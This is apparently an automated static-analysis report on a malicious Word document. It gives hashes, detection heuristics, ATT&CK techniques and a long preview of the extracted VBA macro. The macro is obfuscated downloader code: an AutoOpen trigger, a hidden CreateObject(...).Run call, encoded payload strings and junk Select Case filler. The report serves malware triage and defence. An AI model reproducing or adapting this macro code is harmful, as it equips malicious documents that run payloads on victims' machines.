Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d1a87dff58b954df…

MALICIOUS

Office (OLE)

212.0 KB Created: 2018-03-21 14:35:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 63bfd8d48bfa520bfa5ac3db92015957 SHA-1: 82b297af1a335e37cc5144bb5d67a182775f73fd SHA-256: d1a87dff58b954dfbe2b9e6d1d7a9f457aa0d706fcbb31b1749bb9b3e3827c33
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, indicated by multiple OLE and VBA heuristic firings, including critical ClamAV detection. The presence of `CreateObject` and auto-execution markers like `AutoOpen` strongly suggests the VBA code is intended to run automatically upon opening. The `macros.bas` file likely contains code to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(mhiBaLBAEYfOaU).Run BOAOtUu + Chr(VBA.vbKeyC) + iRYIoks + NGMdpCbmOcLZ + DcFKziXiwn, vbHide
Select Case ztOcK
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "QAkKLIKv"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 78796 bytes
SHA-256: 8f2257a2ef6c306e9ce6a626346feef934a6d918ddb9400132f74a1da3952a7d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
797 of 1349 identifiers look randomly generated (e.g. 'aDMAIDAxAwMAEDAkBQYAYDA4AgZAkDA5AgZAEGAi') — consistent with name-mangling obfuscation. Carved artifact contains 20 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wJFcflwuwq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hHCAEKhwrlztl"
Function KNWwcadFS()
On Error Resume Next
Select Case auwMRz
         Case 43511
            PIaqv = JSvWoq
            sowtz = zMoGVm
            RBtiwB = Cos(32394 * CBool(64234))
         Case 47159
            VajSGn = 93073
            ntchFz = Fix(35693)
            RZobB = Oct(8530)
End Select
SbwraKEhFJD = JdXATb("laAUGAzAgMAMGA3AAOAADAmBQYAUGA3AgNAADA0AQYAMDAzAgNAQGAzAAOAUGA2AAMAQDA4AANAgDA3AgMAQDAjBwYAMDAkBAZAYGAlBgMAMGAkBQZAcDA5AwYAgDA3AAOAYDAlBAZAQGAhBQYAIGA3AgZAcDAiBQOAEGA1AgMAUGAlBgMAEDA5AAZAIDA5Aw4Fwd", 5 + 0, 191 + 0)
Select Case CRIYM
         Case 50231
            ZXUCcT = NqZrj
            tPjvuQ = jrswkR
            iBzPj = Cos(638 * CBool(1412))
         Case 37789
            NDWzD = 7962
            PjVWKm = Fix(63813)
            iwzDi = Oct(59538)
End Select
Select Case cPJPc
         Case 13456
            ZMYjju = VwhjF
            EwriN = RPjEiY
            KHfjsw = Cos(28229 * CBool(97714))
         Case 19666
            LAbRvn = 79511
            rjMBfX = Fix(59270)
            hpOpH = Oct(88622)
End Select
dwtqdzIj = JdXATb("7ufQOAUGAiBAZAYDA4AwNAADA1AAOAMGAmBAOAEGA5AAZAEGAmBQZAEDAhBwMAQDAlBgZAIDAyAwNAgDA2AwNAADAiBAOAEGAwAQYAYGAiBwYAgDAmBQOAYDAxAQNAIGAiBQYAkDAmBwMAgDA1AQYAgDAyAwYAYGA2AQNAYDAzAQ7bt2", 5 + 0, 169 + 0)
Select Case BkMpO
         Case 77745
            qNuVfi = iWbuSn
            SIbIEq = ZkUTR
            Zhiwaw = Cos(15002 * CBool(79450))
         Case 96415
            KrAPC = 37260
            vpGQib = Fix(71280)
            KzTRda = Oct(3124)
End Select
Select Case YGZozH
         Case 67615
            cfdAK = jLnjla
            jPqwX = kiNGN
            QwBmsD = Cos(31936 * CBool(38658))
         Case 92952
            KMMtoK = 38364
            nVMkr = Fix(82011)
            raEwfP = Oct(49013)
End Select
OkZvOrnLS = JdXATb("7tjpkPADAmBgZm", 2 + 0, 7 + 0)
Select Case WtffY
         Case 91447
            UGInEi = dOZOAS
            SfGKDA = MVRdlz
            zJfvRK = Cos(2530 * CBool(11008))
         Case 55486
            lFHwq = 49230
            OGXEO = Fix(48625)
            VvzIl = Oct(82340)
End Select
Select Case kfsua
         Case 24084
            DTsHi = BcQFbQ
            DRCjzu = qwXFA
            lJJPN = Cos(33288 * CBool(16323))
         Case 42927
            tEqNUE = 57019
            ZmVUA = Fix(35561)
            IufvXH = Oct(92867)
End Select
tjTbWacG = JdXATb("bFNCDAzAQZAEGAzAQYAEGA1AwYAcDAxAAZAMGA3AgNAEDAhBgMAADA3AwYAEGA4AAMAYGAkBgMAEGA2AAOAMGAjBAZAUDAhBQZAkDAlBQNAIDAjBgMAkDAkBgZAYGA0AwNAMGAjBgMAMDAlBwYAADA2AQOAQDAxAQYAMDA0AQfb%", 4 + 0, 165 + 0)
Select Case GFLrTB
         Case 85308
            HZOXw = maMMnw
            fFkrj = SlMwi
            RjHINK = Cos(15639 * CBool(63272))
         Case 55303
            umuiO = 14903
            jLTwU = Fix(50958)
            bAmuZY = Oct(89813)
End Select
Select Case issiZS
         Case 36298
            SDIoK = MBhptL
            GDwfX = sIzob
            QjzYIr = Cos(16253 * CBool(34176))
         Case 97417
            jdpGQ = 48567
            IAiujc = Fix(78375)
            wCuatT = Oct(29542)
End Select
BPNBd = JdXATb("Jo hGA2AwMAcDA0AwMAUDAiBwNAMDA0AAOAIDA3AQZAY7wIhnfG", 3 + 0, 40 + 0)
Select Case LuNMcY
         Case 96763
            uGCWVq = GTJqn
            jjDKiK = NrFjRw
            MDMVkB = Cos(93821 * CBool(99922))
         Case 50297
            RYIlo = 13927
            dbncKJ = Fix(3252)
            OIXCBS = Oct(10727)
End Select
Select Case biASJB
         Case 29945
            fKnai = uwikfc
            dowSG = HblEj
            jCiPz = Cos(3689 * CBool(1331))
         Case 87147
            mYFzHq = 55242
            YWqLiw = Fix(87683)
            ACkIa = Oct(88296)
End Select
UUwXwMZOWQp = JdXATb("aDMAIDAxAwMAEDAkBQYAYDA4AgZAkDA5AgZAEGAiBwYAMGA4AwNAUGAmBgNAEDAhBwNAADAiBQOAgDAkBANAgDAlBgNAQDAiBwNAIDAmBAZAYGA4AwMAMDAhBwMAIGAkBwYAADA3AQOAkDAyAQYAkDAmBwMAcDA3AAOAYGA3AwMAMDAzAgMAcDAiBwMAUGA4AgN27.N3fB", 8 + 0, 193 + 0)
Select Case EPvrQ
         Case 62832
            ifiLrQ = UwairM
            twEEkM = zQlSsS
            iMwMD = Cos(76203 * CBool(77479))
         Case 21167
            SGdLjD = 19672
            jhXLQq = Fix(75034)
            UniPzt = Oct(98523)
End Select
Select Case wmCSM
         Case 42289
            WGQdR = pPTiTa
            SYsio = FrzwnA
            ltXlj = Cos(78163 * CBool(96655))
         Case 93423
            jnvWzA = 94257
            vLvaE = Fix(47220)
            TdVQbW = Oct(14627)
End Select
LsDDTcd = JdXATb("r3AEDAmBANAEDAkBwMAUGA5Ab7X0n", 7 + 0, 21 + 0)
Select Case cIAwsi
         Case 91552
            cGYrFn = rEudD
            FihUcR = ThVXY
            TOwEE = Cos(77265 * CBool(99629))
         Case 62839
            Ujjpj = 21495
            LjtEBX = Fix(48751)
            bPQpM = Oct(89240)
End Select
Select Case aUAKdL
         Case 80638
            rPwAo = OHptW
            pmGhZh = MkJHRN
            wilMkC = Cos(64327 * CBool(80199))
         Case 51432
            bLpNMk = 64011
            iXInNT = Fix(71866)
            OdahIj = Oct(76671)
End Select
ArzkHPAJApt = JdXATb("qd8KMAQDA0AQMAcDAhBgYAUGAkBQYAcDA2AgNAMDAlBwMAMDAlBQNAEDA1AQMAgjRba", 5 + 0, 59 + 0)
Select Case LjVcIT
         Case 12004
            LdFNrj = AbNipp
            RSboo = OsVvX
            CdOEkP = Cos(33149 * CBool(16253))
         Case 54759
            OXEiia = 11456
            zwACRD = Fix(2478)
            fCkSI = Oct(20078)
End Select
Select Case zjibM
         Case 10466
            Olaitq = URzPO
            uQIzd = cPJMwb
            tQLCiN = Cos(28777 * CBool(65825))
         Case 40576
            jsNKC = 4149
            TjqBZj = Fix(45968)
            wNcPEY = Oct(54807)
End Select
zXVMUbaKuXq = JdXATb("oNpA5AAZAIGAiBgYAgDAmBANAADAmBQNAQDAkBgNAMDAiBQNAUGAhBwNAEDAkBQZAEDAzAwMAYGAkBgNAcDAjBQMAADA2AgMAADAiBQZAQjiiDza", 7 + 0, 103 + 0)
Select Case SwBIP
         Case 28655
            zXZsZ = QoZMP
            OkZUhn = kzmSQ
            GpuNAt = Cos(58814 * CBool(7941))
         Case 63983
            dzrwXi = 49074
            CofNS = Fix(86054)
            UVsiCN = Oct(9502)
End Select
Select Case NwFdCr
         Case 85626
            DAkJaF = tIlmE
            dJYimW = lzZGJ
            MwNMqE = Cos(12731 * CBool(32908))
         Case 98104
            nTQEh = 92447
            SuSEj = Fix(77334)
            wPVrMD = Oct(50842)
End Select
QMwtr = JdXATb("4kp7oxAwNAEDAzAAMAADAyAgNAEDA2AANAMDA0AANAcDAjBgMAcDA3AgNAMGA3AQYAMDAxAwYAIDAmBgMAEDA0AAZAEGAmBwNAUDA3AQOAcDAjBANAE", 2 + 0, 109 + 0)
Select Case zhtOjv
         Case 91391
            wJiulK = STpjG
            qpcIj = aiOEv
            KTjKTP = Cos(45940 * CBool(44798))
         Case 22779
            uFtvn = 88987
            YWWTR = Fix(17332)
            RFzhVA = Oct(67782)
End Select
Select Case kcXww
         Case 42925
            kNqsS = BmPPh
            nwCbCr = OvcRlb
            AAEIwQ = Cos(32193 * CBool(11450))
         Case 64544
            wrmna = 59613
            HCfwN = Fix(65580)
            UEDHH = Oct(15558)
End Select
XFuZOIqkh = JdXATb("Xmf0AQZAUDAzAQMAYDA1AAMAQGA4AAOAkDAkBgNqwz", 4 + 0, 36 + 0)
Select Case EQjMBh
         Case 13619
            QUhOi = LFHoQO
            jvpmS = osMJw
            YtaGb = Cos(47896 * CBool(94628))
         Case 13698
            lLOzzX = 18748
            wTqumV = Fix(40623)
            ajdSaE = Oct(22493)
End Select
Select Case mksUAV
         Case 99253
            ZWzhr = DAPavQ
            iXULGz = KlDjp
            jqRELJ = Cos(69426 * CBool(33478))
         Case 99540
            TYZHrc = 28736
            JbMHN = Fix(46359)
            tVfCo = Oct(37653)
End Select
DpVWHD = JdXATb("nnDAkBQOAADAzAgNAEDA0AQNAYDAlBAMAYGAyAgMAQGAhBwMAQGA3AwYAUDAlBQMAEGA3AANAYGA1AQZAYDA5AguC2mwMN", 8 + 0, 85 + 0)
Select Case sBtNi
         Case 20776
            ljUit = mhsdh
            kaNib = twSnEO
            JDjYN = Cos(58457 * CBool(89017))
         Case 7966
            XvrdU = 44640
            MdCVR = Fix(67953)
            iXRjpO = Oct(93644)
End Select
Select Case YwKDLz
         Case 22155
            XcoQcT = BQlvYl
            rLvPzz = dIOkf
            XdncZ = Cos(2597 * CBool(60164))
         Case 71827
            PrGkw = 53001
            sDbCz = Fix(8305)
            HvAMXu = Oct(37380)
End Select
DhMbNKdiZWH = JdXATb("7zlwOYAcDAwAgYAgDAiBANAMGAxAwYAkDA3AQNAQDA2AQMAIDAyAANAADA5AQMAADAhBwMAMDAlBwMAIGA2AAOAUDA4AgYAkDAmBANAQGAlBQNAMDAxAANAEGAyAQOAIDA2AANAMDAlBANAUGAkBgZAIDAyAQYAUDA2AwMAMGAhBQZAMDA5AANAUGAxAAZAkDA3AANAIbNon", 5 + 0, 195 + 0)
Select Case fwRPX
         Case 55875
            VXFql = DJODuU
            LIcFS = fhYpHq
            qLKThD = Cos(61363 * CBool(69874))
         Case 63734
            zGSDE = 74186
            IcaDNX = Fix(37886)
            wtzbz = Oct(65613)
End Select
Select Case MtVCuo
         Case 85406
            caUfZ = UJfBB
            fAolG = QoHZM
            ZCDkh = Cos(10518 * CBool(88768))
         Case 93760
            ttUNBR = 51889
            Ebvro = Fix(99459)
            FkvXX = Oct(7358)
End Select
fjPJOVF = JdXATb("XiTnI.emITnuR[ (fJUhH", 6 + 0, 14 + 0)
Select Case COMGW
         Case 3500
            caHEQm = TXFFp
            CwQQkD = fwJWZk
            rGAuuZ = Cos(49254 * CBool(54934))
         Case 1685
            nXNElM = 80617
            iYCEz = Fix(93515)
            TKEfQ = Oct(70812)
End Select
Select Case ZsJjmk
         Case 33523
            rJBnXS = DMRWt
            Qizsw = mEZoBH
            PcCwSi = Cos(38249 * CBool(73630))
         Case 19426
            bZBDzV = 72674
            XvZJJ = Fix(17621)
            qmitRV = Oct(929)
End Select
TkXvvzCwB = JdXATb("9q9NAgDA2AgNAEGA4AAOAMDA4AgZAQDAkBgYAIDA4AwYAkDAhBQYAcDA5AQYAgDA5AgZAcDA2AgNAQGA3AAZAcDA1AgZAMGA2AwMAi@iijR", 7 + 0, 98 + 0)
Select Case oCtAPz
         Case 77563
            lFHYT = uninjd
            IGStI = vossFa
            MBFVWF = Cos(67540 * CBool(41044))
         Case 78094
            CkUvs = 83896
            ilWTf = Fix(92445)
            HGXsks = Oct(26449)
End Select
Select Case njBOb
         Case 98107
            MTQzs = wlpTs
            MLFzKK = Uofub
            Wkzbw = Cos(36561 * CBool(35092))
         Case 99206
            bkiEEB = 19191
            XwizHs = Fix(66489)
            qDDihj = Oct(48454)
End Select
locfnUcN = JdXATb(",f7nBgZAUGAhBwNAQDAlBwMAMGAjBQNAcDAlBgYAMGA0AQOAEfF@", 4 + 0, 45 + 0)
Select Case YVRzKr
         Case 945
            wjjUQF = WKBIz
            bPrRqH = OVwvL
            fikMbf = Cos(92600 * CBool(7164))
         Case 1004
            JNUlwj = 37227
            XbrzGa = Fix(61773)
            jlLbh = Oct(77353)
End Select
Select Case PbJDKK
         Case 35128
            JiqPz = EfdSjR
            lPjzV = iiZCi
            swoPQh = Cos(68016 * CBool(20213))
         Case 26529
            zAlBP = 18166
            usJXd = Fix(57145)
            aFooo = Oct(48615)
End Select
slthZPX = JdXATb("5ihaanDAjBQOAgDAhBQYAUDAyAgMAkDA4AgZAUGA5AgMAMG2P", 3 + 0, 41 + 0)
Select Case jMaHjP
         Case 31051
            lzGpc = jLUGU
            iJURP = coLsv
            oYRnL = Cos(89366 * CBool(67570))
         Case 88537
            hHLQn = 3112
            rtUhTN = Fix(11240)
            rJrLn = Oct(53150)
End Select
Select Case UqVlAY
         Case 55712
            JVKcN = nfAwvu
            wKOsw = YJZYri
            oYXVdM = Cos(83686 * CBool(72109))
         Case 46758
            ablFj = 40532
            kVufV = Fix(61875)
            sEiEt = Oct(69401)
End Select
MTbmtmjcPO = JdXATb("p2GA4AgYAMDA4AAMAADA4AQMAQGAyAQOAIDAxAAOAIGAzAgMAUGAhBQZAUDAzAQNAIDA2AAZAkDAxE89i", 5 + 0, 75 + 0)
Select Case SzfEPH
         Case 59587
            jCiaE = RKopoF
            WkCSsQ = ZhmroJ
            dGBTN = Cos(77690 * CBool(34457))
         Case 73408
            wvbSbt = 80975
            EiIwN = Fix(55481)
            XrCtBP = Oct(82706)
End Select
Select Case NzvGAq
         Case 54093
            MbjBhk = QNfVY
            pMDXBV = oVVPui
            VbVXid = Cos(90799 * CBool(70926))
         Case 46775
            wfAtwi = 16866
            lQXmr = Fix(67720)
            VtvqFT = Oct(12987)
End Select
kiKITOX = JdXATb("lNYAADA5AgZAIDAktJo", 5 + 0, 13 + 0)
Select Case CwosI
         Case 76347
            lEoWYV = psqMJ
            NJijl = NkztS
            rczwH = Cos(73007 * CBool(585))
         Case 36480
            fTwVKc = 1279
            DztKz = Fix(80749)
            OEGjaK = Oct(73338)
End Select
Select Case QiCDMA
         Case 53811
            BCrfGq = MwlVlW
            STWojc = GMSFWV
            PHUYTT = Cos(71977 * CBool(74093))
         Case 83777
            uHjVYr = 56617
            NaMih = Fix(46013)
            zwvqY = Oct(49791)
End Select
YDwroiwHHQ = JdXATb("wtEZAlBAMAMDA2AwNAYDAjBQZAgDAxAwYAQGA0AgYAIGA5AgMAQDA4AANAIGAiBQYAUGAlBANAEDA5AANAMDAmBQOAkDA1AANAMGAyAANAQGAlBAMAIGA0AwMAUDA3AwNAADA5AQYAMDAyAAMAUGAkBANAQGAxAEaj", 4 + 0, 155 + 0)
Select Case UzzqQw
         Case 34516
            Efcut = sJiUo
            IvPhaz = UUqwS
            KnkYi = Cos(52742 * CBool(63086))
         Case 76733
            VhFmi = 89689
            pNVka = Fix(53865)
            jPPTr = Oct(95919)
End Select
Select Case OaPzF
         Case 26211
            PzUrH = FYVpU
            skqbhq = sGfPJ
            cfWcVI = Cos(41896 * CBool(4182))
         Case 94672
            JHodK = 32080
            zvKOfR = Fix(45616)
            iIvUzj = Oct(67623)
End Select
VfcVniM = JdXATb("N58iEkFzAwAwNAcDAmBgMAMDAhBgZAMGAxAwMAUDAwAQYAUGA3AQOAYGA3AgNAEGA0AwYAUDA4AAOAADAlBQYAkDAyAgNAYGA4AwNAQGAiBAOAIGA4AgNAcDAmBAOAEDAyAwNAkDA1AgZAQDAiBgNAgDA5AQOAIGAwAwYAUGAyAQYAADA3AQNj", 2 + 0, 173 + 0)
Select Case Jfdiv
         Case 98864
            wcvbhU = MzcIhU
            UwNzdn = ahzZZ
            fwhiDw = Cos(28377 * CBool(23158))
         Case 71436
            pqipww = 86000
            BOMoiP = Fix(67534)
            LjYvw = Oct(4764)
End Select
Select Case YRaFsi
         Case 4058
            nTFjd = QWlbL
            FAcqHu = Matil
            ZVCWS = Cos(12585 * CBool(21120))
         Case 43027
            mXRlXk = 17906
            RhZvVY = Fix(80143)
            zzRpht = Oct(80374)
End Select
QpUrz = JdXATb("9zkAiBgZAYDAlBwMAIGA5AgZAMGAkBANAMDAzAAMAgDA2AAOAkDA2AQYAUGAxAANAgDAzAgNAYDA0AAZAUDAiBgail1n", 6 + 0, 84 + 0)
Select Case iDjOA
         Case 35960
            AbcOF = VXjCr
            wMKDzM = UItjvs
            zHTBuh = Cos(97497 * CBool(25186))
         Case 46288
            tJkKb = 51005
            npRtHU = Fix(435)
            COzMHv = Oct(63061)
End Select
Select Case OZndX
         Case 16824
            QSjvWS = lucwl
            pPpLcv = sAKvY
            unBGG = Cos(26438 * CBool(36866))
         Case 15878
            wKjLFu = 24036
            mtuaO = Fix(96925)
            bBcwlQ = Oct(15027)
End Select
UpaGUjHuYp = JdXATb("CJGA5AQYAQDAiBgZAMDAkBwYAkDA0AQZAEDAwAQZAMDAkBgZAUDAmBAMAYDAkBwNAEDA2AANAYDA5AAOAEGA2AAZAYDA2AQZAUDAkBgNAQGAwAQNAEGAhBgMAADAhBgZAQGA2AgNAQDAkBgYAQGAjBQMAYDA5AwYAEDAkBgMAADAlBwMAUGA0AQYAYGA4AQZnYqYPj", 7 + 0, 190 + 0)
Select Case WEXjjn
         Case 41302
            RcqTff = pRfwY
            irjoR = FlWXjo
            JHhKc = Cos(31158 * CBool(33427))
         Case 17697
            wXiFwk = 74025
            FUjjsM = Fix(83203)
            SIPzvF = Oct(13200)
End Select
Select Case VPabz
         Case 47959
            HiDiGJ = FZZjWO
            fJQYI = SrauR
            fjYRw = Cos(31029 * CBool(60739))
         Case 72112
            MppwY = 76648
            SlcldK = Fix(81076)
            KDrAJ = Oct(31407)
End Select
zRKlTsa = JdXATb("ka4,kEDAhBgYAEGA2AAOAIDAyAgMAkDA2AAZAEGAmBgYAcDA3AQMAMDAkBgMAQDAkBQZAIGAkBANAgDAyAQNAYDk,", 3 + 0, 81 + 0)
Select Case JREiw
         Case 62661
            aTrdz = UaZjk
            YpRjZ = qTGuY
            cvIjYu = Cos(88702 * CBool(79698))
         Case 28372
            KJuAK = 45748
            kiIPlr = Fix(28488)
            lfJHNB = Oct(60974)
End Select
Select Case zvNaK
         Case 8812
            ImtWcQ = moEwzS
            OGVWjq = jtjtrw
            AwaFvb = Cos(14501 * CBool(34894))
         Case 38893
            ikJQlA = 11551
            VkjosE = Fix(50125)
            rcsJc = Oct(71435)
End Select
tnFPQEPrEKi = JdXATb("1ALlzi)'X'+]31[DiLlehwIhnfG$+a.", 3 + 0, 18 + 0)
Select Case Dlrit
         Case 3945
            awmkrz = futdFV
            zMEVf = kiZKHt
            GitWM = Cos(73690 * CBool(58993))
         Case 18432
            BHMahL = 66047
            fXPHFZ = Fix(75904)
            NVGvX = Oct(53462)
End Select
Select Case OwQfE
         Case 9162
            qPOqu = OSdltQ
            PmTwDG = AiXEt
            UkAfNQ = Cos(41310 * CBool(37261))
         Case 9185
            vcHdac = 12816
            BwIwcd = Fix(39635)
            wpFLsJ = Oct(92936)
End Select
AYVSPZlR = JdXATb("hwBDAhBQOAYGA1AgZAUGAiBAZAEGA2AAZAMGA5AANAUDA0AwMAYGAkBQOAEGAiBgYAYGA5AANAcDA0AgZAQDA0AAZAMDA4AgNAQDA0AgZAQGAkBwNAMDAwAQNAE.dhcop", 7 + 0, 120 + 0)
Select Case VdRzX
         Case 54752
            PKHYUw = oYYpDv
            WIXLl = jNtml
            rIzKIJ = Cos(48288 * CBool(6764))
         Case 88220
            UFAfVA = 64244
            CGAtzV = Fix(88396)
            lKOBRU = Oct(73714)
End Select
Select Case MiNCW
         Case 61979
            upusBF = KPLDT
            vXfNNF = DucdAR
            IdWEn = Cos(51717 * CBool(36934))
         Case 39319
            wQNzL = 4624
            nvLGZ = Fix(78654)
            ApQwo = Oct(98570)
End Select
jhPjiuDuC = JdXATb("@wIhnfGbAxAANAADA0AAOAYDA4AQNAgDA1AgMAIGAhBQZAEDA4AQYAcDAyAgMAUDAkBQZAADA1AAZAEGAlBQNAMGAxAAMAUGAmBwYAEGAjBQOAQGAnBt", 4 + 0, 105 + 0)
Select Case RskrP
         Case 63386
            HPsWaQ = wAHWBW
            ioLoTa = OWciV
            hYcGvV = Cos(61316 * CBool(60745))
         Case 59990
            kzYWD = 78727
            bncXi = Fix(6825)
            DwGVs = Oct(87021)
End Select
Select Case IGzkHI
         Case 37245
            EpzMHT = nsjFV
            wJapEr = OPSKV
            KYPPF = Cos(79073 * CBool(64470))
         Case 31440
            IdEZD = 20115
            pPlLLL = Fix(95669)
            uDRFY = Oct(78891)
End Select
dXrzYb = JdXATb("wE3AQZAkDAkBgNAgDA3AQZAIGAjBwNAkDAlBQMAkDAmBQOAQGA2AwNAcDAwAwMAYDA5AwMAQDAlBAZAYDAlBwMAQDAkBQNAUGA2AANAMGA2AANAEDAjBAOAQDAm0nliN", 6 + 0, 120 + 0)
Select Case nrrIi
         Case 45363
            bQoLhA = linDja
            ZJDwa = VCXcsa
            qNhubI = Cos(25207 * CBool(76450))
         Case 40080
            zizcJ = 46387
            BoPTNh = Fix(76983)
            IhHYs = Oct(23254)
End Select
Select Case AqJQT
         Case 70589
            uoGJT = ZRborv
            aRMuC = UMslbW
            plZmiK = Cos(12194 * CBool(88829))
         Case 28735
            twhzB = 11846
            FAiji = Fix(66827)
            ONnQwB = Oct(5376)
End Select
OBTfI = JdXATb("k81i3QDAlBgZAADAkBwNAEGA4AgMAgDA0AQMAUDA3AwNAYGAzAAZAgDAhBAZAUGAmBQYAEGA0AQOAUGAyAQZAUGAyAAMAEDAxAQZAkDAhBQNAgDAhBgMAgDAkBANAEGAlBwMAADAzAQMAkDAhBAZAYDAlBa.0E", 5 + 0, 149 + 0)
Select Case mcnoro
         Case 17790
            ocLzTw = jTGWf
            sLGCwX = WqzNR
            LEMNO = Cos(63444 * CBool(93162))
         Case 38159
            DXlJRt = 14624
            pfXEuQ = Fix(63874)
            vQsJwf = Oct(97546)
End Select
Select Case YfhHL
         Case 10039
            PlAHTK = AzLZP
            zjYnI = lZTCMY
            hzzHXN = Cos(39275 * CBool(90614))
         Case 65743
            jDsWOu = 53492
            lczNrG = Fix(88351)
            jUKvjo = Oct(68692)
End Select
oPKmFZWZLzZ = JdXATb("7kfUGAyAgYAcDA3AwNAIhbzt", 5 + 0, 17 + 0)
Select Case dNDsnL
         Case 90942
            RGokP = WirKb
            hTFqNZ = AkmqvT
            tBqjD = Cos(49465 * CBool(64784))
         Case 69151
            lSJifz = 61842
            YMoGK = Fix(14830)
            iOiud = Oct(59493)
End Select
Select Case LmAXDp
         Case 90935
            ndPIu = UXQGKq
            iszBA = iosQG
            RNKzl = Cos(67145 * CBool(46333))
         Case 64074
            WaDBf = 18651
            bhDIoZ = Fix(56364)
            DWCXMR = Oct(91156)
End Select
SvJdc = JdXATb("P,98kbAgNAQGA4AQOAkDA2AgYAgDAhBgMAADAiBQMAYGA4AgYAMDAyAQMAADAlBwNAUGA4AgYAgDA1AAZAEGA1AgNAgDAiBAZAIDAjBAMAgDAlBwYAcDAyAQMAcDA0AAMAMDA1AwMAUGAyAgZAUDAwAANAIDAzAAZAwHA9AQPAcGAvBgaA4qhi", 4 + 0, 173 + 0)
Select Case JEdTK
         Case 50997
            XmJfLS = AVHwNK
            wPskR = PjAUDb
            uzCpZ = Cos(1201 * CBool(6633))
         Case 61829
            itRaI = 42588
            POEkzK = Fix(77573)
            jsjOrl = Oct(78964)
End Select
Select Case CFipfZ
         Case 39017
            iGomdt = NlwwL
            pHGfjT = HOSUhw
            oWXLT = Cos(95818 * CBool(90721))
         Case 18687
            rzriBW = 2779
            IBTMw = Fix(46430)
            wFZoU = Oct(76239)
End Select
FLzXX = JdXATb("a.UpjDMAADAyAwMAcDA0AgNAEGA2AANAEGAkBANAQGA4AgMAYGAiBwNAYGAhBQZAMDAlBAMAMDA3AAMAcDA5AQOAYGA1AQOAIGAlBQZAADA5AAOAEDAiBQNAYDAwAQNAEDAlBAdB", 3 + 0, 128 + 0)
Select Case Ehjkq
         Case 27917
            fNjfSO = olskMB
            jdAqw = NNXGo
            XuKBQ = Cos(61324 * CBool(74862))
         Case 58175
            nnjjJi = 19719
            hDIlI = Fix(47104)
            fusBZ = Oct(33804)
End Select
Select Case wBpqu
         Case 21341
            kShnwp = OpiJYz
            tvDkjh = fdAQMT
            zmYcB = Cos(39002 * CBool(64224))
         Case 41367
            iwnzfh = 20027
            jmWEG = Fix(73937)
            KdvEp = Oct(63848)
End Select
zBRGj = JdXATb("zBNNAUDAmBwMAUGA2AAMAUGA2AgMAEDAjBgMAkDA4AAMAUDAiBwMAEGAmBAOAIGAlBwYAUDAhBwYAUGAxAANAEGBz", 3 + 0, 83 + 0)
Select Case lWVOD
         Case 12498
            WizYJU = wkKzTn
            awGtzS = YZcjE
            KRbRi = Cos(7535 * CBool(60947))
         Case 23236
            WjwRQ = 27943
            kGWtoL = Fix(48844)
            VDnPw = Oct(10955)
End Select
Select Case uziDY
         Case 7657
            sYXEd = tlzGw
            Gvpuu = uKdZC
            zWsZU = Cos(34523 * CBool(58870))
         Case 42797
            bvXanV = 77710
            iajIA = Fix(17266)
            FCovi = Oct(86865)
End Select
WDXowqfZF = JdXATb("fkY0rA3AgYAEDA5AwYAQGAxAgYAMGAxAwNAMGA5AwNAcDAmBwYAQDAyAQNAQDAzAgZAkDAlBwMAgDAzAwMAQGAjBAZAgDAhBwMAQGAjBAMAYDAkBgYAIDA5AAZAEDA0AQYAEDAmBANAMGA5A.lkp", 5 + 0, 139 + 0)
Select Case SVDHGK
         Case 40023
            hbaqf = RTGmF
            wwWLwN = TRdis
            zcBWjO = Cos(57793 * CBool(87962))
         Case 27097
            EhKdXn = 67341
            JYwcUz = Fix(85633)
            spBzD = Oct(85592)
End Select
Select Case XwitVO
         Case 93076
            wWzjt = wpkLSC
            IkWzbl = WuOUVi
            OiWrEI = Cos(80495 * CBool(81819))
         Case 75741
            iMsiw = 26413
            ikFOMH = Fix(87030)
            cCpCIc = Oct(21764)
End Select
BdUUJYGiZUO = JdXATb("ZEE9OYAUDAmBQOAIDAwAwYAYGAjBgNAQGAwAgZAgDA1AAZAMDAyAQYAQd6kz", 5 + 0, 51 + 0)
Select Case uiKNU
         Case 26602
            tSwzRP = LajSql
            bBXdw = GAofwX
            zzmAbQ = Cos(80549 * CBool(23251))
         Case 93412
            Jbijr = 30232
